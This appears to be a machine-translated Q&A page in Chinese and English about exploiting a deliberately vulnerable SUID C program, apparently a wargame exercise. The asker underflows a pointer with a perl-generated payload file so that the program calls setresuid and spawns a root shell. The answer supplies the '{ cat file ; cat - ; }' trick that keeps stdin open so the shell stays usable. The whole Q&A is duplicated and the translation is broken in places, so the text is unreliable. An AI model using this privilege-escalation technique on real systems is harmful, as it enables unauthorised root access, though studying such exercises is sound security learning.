gdb 退出而不是生成 shell
gdb exiting instead of spawning a shell
我正在尝试利用 SUID 程序。
节目是:
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#define e(); if(((unsigned int)ptr & 0xff000000)==0xca000000) { setresuid(geteuid(), geteuid(), geteuid()); execlp("/bin/sh", "sh", "-i", NULL); }
void print(unsigned char *buf, int len)
{
int i;
printf("[ ");
for(i=0; i < len; i++) printf("%x ", buf[i]);
printf(" ]\n");
}
int main()
{
unsigned char buf[512];
unsigned char *ptr = buf + (sizeof(buf)/2);
unsigned int x;
while((x = getchar()) != EOF) {
switch(x) {
case '\n': print(buf, sizeof(buf)); continue; break;
case '\': ptr--; break;
default: e(); if(ptr > buf + sizeof(buf)) continue; ptr++[0] = x; break;
}
}
printf("All done\n");
}
我们可以很容易地看到,如果我们以某种方式将 ptr 的内容更改为某个以 CA 开头的地址,那么将为我们生成一个新的 shell。由于 ptr 通常包含一些以 FF 开头的地址,减少它(ptr)的方法是输入 \ 字符。所以我创建了一个包含 0x35000000 个 '\' 字符的文件,最后在文件末尾添加了 3 'a'
perl -e "print '\\'x889192448" > file # decimal equivalent of 0x35000000
echo aaa > file # So that e() is called which actually spawns the shell
最后在 gdb 中,
run < file
然而,gdb 没有生成 shell,而是说
process <some number> is executing new program /bin/dash
inferior 1 exited normally
然后返回到 gdb 提示符,而不是得到 shell。
我已通过在适当位置设置断点确认在调用 setresuid() 之前 ptr 确实以 CA 开头。
此外,如果我在 gdb 之外通过管道传输它,则什么也不会发生。
./vulnProg < file
Bash提示returns返回。
请告诉我哪里出错了。
您可以通过编写更简单的测试程序来查看问题
int main() { execlp("/bin/sed", "-e", "s/^/XXX:/", NULL); }
这一切所做的就是启动一个版本的 sed(而不是 shell)并通过在 "XXX:".
前面加上转换输入
如果你 运行 生成的程序,并在终端中输入你会得到这样的行为:
$./a.out
Hello
XXX:Hello
Test
XXX:Test
^D
这正是我们所期望的。
现在,如果你从包含 "Hello\nWorld" 的文件中输入它,你会得到
$./a.out < file
XXX:Hello
XXX:World
$
并且应用程序立即退出,当输入文件全部读取后关闭应用程序的输入流。
如果你想提供额外的输入,你需要使用一个技巧来不破坏输入流。
{ cat file ; cat - ; } | ./a.out
这会将文件中的所有输入放入 运行ning ./a.out
然后
从 stdin 读取并添加它。
$ { cat file ; cat - ; } | ./a.out
XXX:Hello
XXX:World
This is a Test
XXX:This is a Test
我正在尝试利用 SUID 程序。
节目是:
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#define e(); if(((unsigned int)ptr & 0xff000000)==0xca000000) { setresuid(geteuid(), geteuid(), geteuid()); execlp("/bin/sh", "sh", "-i", NULL); }
void print(unsigned char *buf, int len)
{
int i;
printf("[ ");
for(i=0; i < len; i++) printf("%x ", buf[i]);
printf(" ]\n");
}
int main()
{
unsigned char buf[512];
unsigned char *ptr = buf + (sizeof(buf)/2);
unsigned int x;
while((x = getchar()) != EOF) {
switch(x) {
case '\n': print(buf, sizeof(buf)); continue; break;
case '\': ptr--; break;
default: e(); if(ptr > buf + sizeof(buf)) continue; ptr++[0] = x; break;
}
}
printf("All done\n");
}
我们可以很容易地看到,如果我们以某种方式将 ptr 的内容更改为某个以 CA 开头的地址,那么将为我们生成一个新的 shell。由于 ptr 通常包含一些以 FF 开头的地址,减少它(ptr)的方法是输入 \ 字符。所以我创建了一个包含 0x35000000 个 '\' 字符的文件,最后在文件末尾添加了 3 'a'
perl -e "print '\\'x889192448" > file # decimal equivalent of 0x35000000
echo aaa > file # So that e() is called which actually spawns the shell
最后在 gdb 中,
run < file
然而,gdb 没有生成 shell,而是说
process <some number> is executing new program /bin/dash
inferior 1 exited normally
然后返回到 gdb 提示符,而不是得到 shell。 我已通过在适当位置设置断点确认在调用 setresuid() 之前 ptr 确实以 CA 开头。
此外,如果我在 gdb 之外通过管道传输它,则什么也不会发生。
./vulnProg < file
Bash提示returns返回。
请告诉我哪里出错了。
您可以通过编写更简单的测试程序来查看问题
int main() { execlp("/bin/sed", "-e", "s/^/XXX:/", NULL); }
这一切所做的就是启动一个版本的 sed(而不是 shell)并通过在 "XXX:".
前面加上转换输入如果你 运行 生成的程序,并在终端中输入你会得到这样的行为:
$./a.out
Hello
XXX:Hello
Test
XXX:Test
^D
这正是我们所期望的。
现在,如果你从包含 "Hello\nWorld" 的文件中输入它,你会得到
$./a.out < file
XXX:Hello
XXX:World
$
并且应用程序立即退出,当输入文件全部读取后关闭应用程序的输入流。
如果你想提供额外的输入,你需要使用一个技巧来不破坏输入流。
{ cat file ; cat - ; } | ./a.out
这会将文件中的所有输入放入 运行ning ./a.out
然后
从 stdin 读取并添加它。
$ { cat file ; cat - ; } | ./a.out
XXX:Hello
XXX:World
This is a Test
XXX:This is a Test